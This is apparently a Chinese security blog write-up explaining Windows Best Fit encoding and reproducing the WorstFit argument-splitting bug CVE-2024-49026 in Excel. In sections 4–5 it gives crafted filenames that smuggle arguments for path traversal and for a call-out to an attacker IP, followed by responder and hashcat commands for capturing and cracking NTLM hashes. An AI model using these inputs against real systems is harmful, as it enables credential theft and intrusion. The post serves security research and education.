前言
本文所述技术内容及漏洞原理分析,仅限用于网络安全技术研究与教育目的,旨在帮助读者提升安全意识、理解防御机制。文中涉及的漏洞利用场景需依赖特定环境配置或权限条件(如特定CodePage、特定服务版本等),实际利用难度较高且存在严格法律边界。
WorstFit简介
在Windows的字符编码转换中,Best Fit是一种用于处理Unicode到ANSI(多字节编码)转换的策略。由于历史原因,Windows早期广泛使用基于代码页的ANSI编码(如CP1252
、CP936
等),但这些编码无法覆盖所有Unicode字符。因此,在将Unicode文本转换为ANSI时,Best Fit策略会寻找“最佳近似字符”进行替代。
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(1) 字符映射:
-
如果目标代码页中存在精确匹配的字符,则直接映射。
-
如果不存在,系统会尝试寻找一个视觉或语义上近似的字符替代。
-
如果没有近似字符,则使用默认替换字符(如
?
或�
)。
示例:
-
Unicode字符
©
(版权符号)在CP1252
中没有对应,可能被替换为(c)
。 -
Unicode字符
€
(欧元符号)在旧版CP1252
中不存在,可能被替换为?
。 -
某些特殊引号(如
“
、”
)可能被替换为"
。
(2) Windows为了向后兼容,支持最初的ANSI代码页,因此实现了两个不同版本的API:
-
ANSI API:Windows代码页版本,带有字母“A”后缀,用于表示“ANSI”。例如,
GetEnvironmentVariableA
函数。 -
Unicode API:Unicode版本,带有字母“W”后缀,用于表示“宽(字符)”。例如,
GetEnvironmentVariableW
函数。
(3) 对于ANSI API,Windows通过调用RtlUnicodeStringToAnsiString
(或有时WideCharToMultiByte
)将原始Unicode字符串转换为ANSI字符串,这会应用隐式转换,同时触发Best Fit。这种兼容性特性如果被滥用,就可能导致我们今天要讲解的WorstFit 漏洞。
感谢Orange和Splitline的研究,根据他们的文章,WorstFit的利用可以分为三类:Filename Smuggling , Argument Splitting 和Environment Variable Confusion
本次讲解的 CVE-2024-49026 漏洞属于Argument Splitting,当某个应用使用GetCommandLineA
解析命令行时,即使我们只能操控部分参数,也可以利用WorstFit注入更多限定之外的参数。
CVE-2024-49026 漏洞复现
1. 漏洞原理
全局文件关联表(File Extension Associations)
Windows 在注册表中维护一个分层结构的关联数据库(路径:HKEY_CLASSES_ROOT
),包含以下关键层级:
-
文件扩展名键(例如
.txt
)指向对应的ProgID(Programmatic Identifier,如txtfile
)。 -
ProgID定义(例如
txtfileshellopencommand
)存储实际执行命令(如"%ProgramFiles%Notepad++notepad++.exe" "%1"
)。 -
MIME类型映射(可选)用于浏览器或网络场景中的内容类型识别。
该表决定着双击文件时使用哪个程序来打开文件,通过assoc
和ftype
命令配合使用,可以查看指定扩展名的ProgID命令。
可以发现,Microsoft Excel在执行 .xlsx
文件时,直接将文件名作为参数处理,这意味着可能存在参数拆分攻击。
2. 确认代码页
许多安全研究人员习惯使用chcp
命令查看代码页,但chcp
显示的是 OEMCP而不是 ACP。
-
OEMCP是给控制台应用程序使用的传统编码。
-
ACP是Windows图形界面应用程序使用的默认编码。
在中文系统中,OEMCP通常是936(GBK),而ACP也是936,但在其他语言环境下可能不同,例如东欧语言环境下可能会有所不同。
建议使用以下方式查询当前代码页:
Powershell:
powershell.exe [Console]::OutputEncoding.WindowsCodePage
Registry:
reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNlsCodePage /v ACP
3. 更改代码页
由于不同Code Page的转换规则不一致,这里仅测试泰文字符编码环境(代码页 874),注意该漏洞在简体中文环境下不可利用。
Windows Registry Editor Version 5.00
[ ]
"OEMCP"="874"
"ACP"="874"
"MACCP"="874"
4. 构造恶意文件
在文件命名时,/是不被支持的字符,但在切换到874代码页后,Best Fit会将/替换为正常的/
首先进行一个简单的任意文件读取利用,将文件名改为如下格式:
../../../../Windows/win.ini".xlsx
双击文件后,成功实现目录穿越,打开win.ini
。
将文件名改为如下格式:
AAAAA" "\\192.168.13.248@8090\test.xlsx
在另一台机器上进行本地监听,成功接收到目标机器发来的HTTP OPTIONS请求。
5. 进一步利用
后续可以直接使用smbdelay利用工具进行RCE,也可以通过responder配合hashcat抓取NTLM凭证并进行破解。
responder -I eth0 -v
hashcat -m 5600 hash.txt ./wordlist.txt
成功破解出目标机器登录凭据
参考:
https://www.cve.org/CVERecord?id=CVE-2024-49026
https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/
原文始发于微信公众号(谁不想当剑仙):从 WorstFit 到 RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论